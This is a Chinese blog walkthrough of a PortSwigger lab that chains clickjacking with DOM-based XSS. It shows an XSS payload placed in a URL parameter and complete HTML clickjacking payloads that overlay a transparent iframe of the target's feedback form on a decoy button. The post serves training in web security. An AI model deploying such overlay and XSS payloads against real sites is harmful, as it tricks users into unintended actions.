某不知名博客 某不知名博客
首页
  • 《vulcat文档》
  • Web安全

    • 《BurpSuite及官方实验室》
    • 《OSWE学习历程》
  • 云原生安全

    • 《Docker命令大全》
    • 《CKS考试学习指南》
    • 《旧-Kubernetes教程》
漏洞库
  • 《渗透工具大全》
  • 《云安全》
事件库
关于
  • 分类
  • 标签
  • 归档
GitHub (opens new window)

Carsaid

安全界的小学生
首页
  • 《vulcat文档》
  • Web安全

    • 《BurpSuite及官方实验室》
    • 《OSWE学习历程》
  • 云原生安全

    • 《Docker命令大全》
    • 《CKS考试学习指南》
    • 《旧-Kubernetes教程》
漏洞库
  • 《渗透工具大全》
  • 《云安全》
事件库
关于
  • 分类
  • 标签
  • 归档
GitHub (opens new window)
  • 前言

  • 服务器端主题(翻译)

  • 客户端主题(翻译)

  • 高级主题(翻译)

  • 扩展阅读(翻译)

  • 个人学习笔记

  • 实验室做题记录

    • 实验室做题记录
    • 服务器端

    • 客户端

      • 跨站脚本(XSS)

      • 跨站请求伪造(CSRF)

      • 跨域资源共享(CORS)

      • 点击劫持

        • 学徒-点击劫持-具有CSRF令牌保护
        • 学徒-点击劫持-URL参数中的表单输入预填充
        • 学徒-点击劫持-子窗口破坏程序
        • 从业者-点击劫持-结合DOM型XSS的攻击
          • 题目
          • 实操
            • 自动生成载荷(Burp Clickbandit)
            • 手动生成载荷
        • 从业者-多步点击劫持
      • 基于DOM的漏洞

      • WebSockets

    • 高级主题

  • BurpSuite及官方实验室
  • 实验室做题记录
  • 客户端
  • 点击劫持
carsaid
2023-10-08
目录

从业者-点击劫持-结合DOM型XSS的攻击

# 实验室:利用点击劫持漏洞触发基于DOM的XSS

# 题目

此实验室包含一个由单击触发的 XSS 漏洞。构建一个点击劫持攻击,欺骗用户单击 “Click me” 按钮来调用print()函数。

笔记

受害者将使用 Chrome,因此请在该浏览器上测试你的漏洞利用。

实验室-从业者

利用点击劫持漏洞触发基于DOM的XSS >>

- name: 实验室-从业者
  desc: 利用点击劫持漏洞触发基于DOM的XSS >>
  avatar: https://fastly.statically.io/gh/clincat/blog-imgs@main/vuepress/static/imgs/docs/burpsuite-learn/public/lab-logo.png
  link: https://portswigger.net/web-security/clickjacking/lab-exploiting-to-trigger-dom-based-xss
  bgColor: '#001350'
  textColor: '#4cc1ff'
1
2
3
4
5
6

# 实操

点击 “ACCESS THE LAB” 进入实验室。

Not Found Image

进入实验室,看到一个 “提交反馈” 功能,点进去看看。

Not Found Image

尝试提交一个反馈信息,看看会发生什么。

Not Found Image

提交之后会返回一个感谢信息 “感谢你提交反馈,名字!”。

我们填写的名字会被包含在其中,哦?

Not Found Image

正解✔

Not Found Image

这个表单同样支持参数预填充。

/feedback?name=<img src=1 onerror=print()>&email=a@b.c&subject=abc&message=xyz
1
Not Found Image

# 自动生成载荷(Burp Clickbandit)

在控制台中运行 Burp Clickbandit 脚本。

运行脚本之后,点击 “Start” 开始录制动作。

Not Found Image

点击 “Submit feedback” 提交表单,记录动作。

Not Found Image

提交表单之后,成功执行 XSS 载荷并调用了print()函数。

点击 “取消” 关闭打印窗口,然后点击 “Finish” 结束录制。

Not Found Image

确保目标按钮处于红框之内。

点击 “Save” 保存载荷文件。

Not Found Image

将 自动生成的载荷 发送给受害者之后,我始终无法完成实验......

访问测试,按钮完好地躺在红框之内,没毛病呀。

Not Found Image

点击之后也能触发 XSS 呀,没毛病呀。

那为啥就是完成不了实验呢???

Not Found Image

我尝试将print()换成alert()并重新录制载荷,又尝试添加sandbox属性,以为表单参数冲突所以又改了参数值......又......

前前后后 录制和生成了 9 个载荷,都无法用于完成实验。

难道自动生成的载荷没用?非要我手动生成?

# 手动生成载荷

妥协了,手动就手动吧。

你可以基于以下代码,来构建你的载荷:

<head>
	<style>
		#target_website {
			position:relative;
			width:500px;
			height:800px;
			opacity:0.4;
			z-index:2;
			}
		#decoy_website {
			position:absolute;
			top: 400px;
			left: 100px;
			z-index:1;
			}
	</style>
</head>
...
<body>
	<div id="decoy_website">
	Click me
	</div>
	<iframe id="target_website" src="https://<目标站点>/feedback?name=%3Cimg%20src=1%20onerror=print()%3E&email=a@b.c&subject=abc&message=xyz">
	</iframe>
</body>
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25

看看效果,文本没对准。

Not Found Image

通过开发者工具,临时修改文本的位置。

得到了满意的数值top:790px和left:100px。

Not Found Image

得到满意的数值之后,修改实际的载荷:

<head>
	<style>
		#target_website {
			position:relative;
			width:500px;
			height:800px;
			opacity:0.4;
			z-index:2;
			}
		#decoy_website {
			position:absolute;
			top: 790px;
			left: 100px;
			z-index:1;
			}
	</style>
</head>
...
<body>
	<div id="decoy_website">
	Click me
	</div>
	<iframe id="target_website" src="https://<目标站点>/feedback?name=%3Cimg%20src=1%20onerror=print()%3E&email=a@b.c&subject=abc&message=xyz">
	</iframe>
</body>
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25

将最终的载荷发送给受害用户。

Not Found Image

点击劫持攻击成功,实验完成。

Not Found Image
编辑 (opens new window)
学徒-点击劫持-子窗口破坏程序
从业者-多步点击劫持

← 学徒-点击劫持-子窗口破坏程序 从业者-多步点击劫持→

最近更新
01
API测试笔记
04-30
02
msfvenom
03-29
03
Metasploit
03-29
更多文章>
Theme by Vdoing | Copyright © 2023-2024 Carsaid | MIT License
  • 跟随系统
  • 浅色模式
  • 深色模式
  • 阅读模式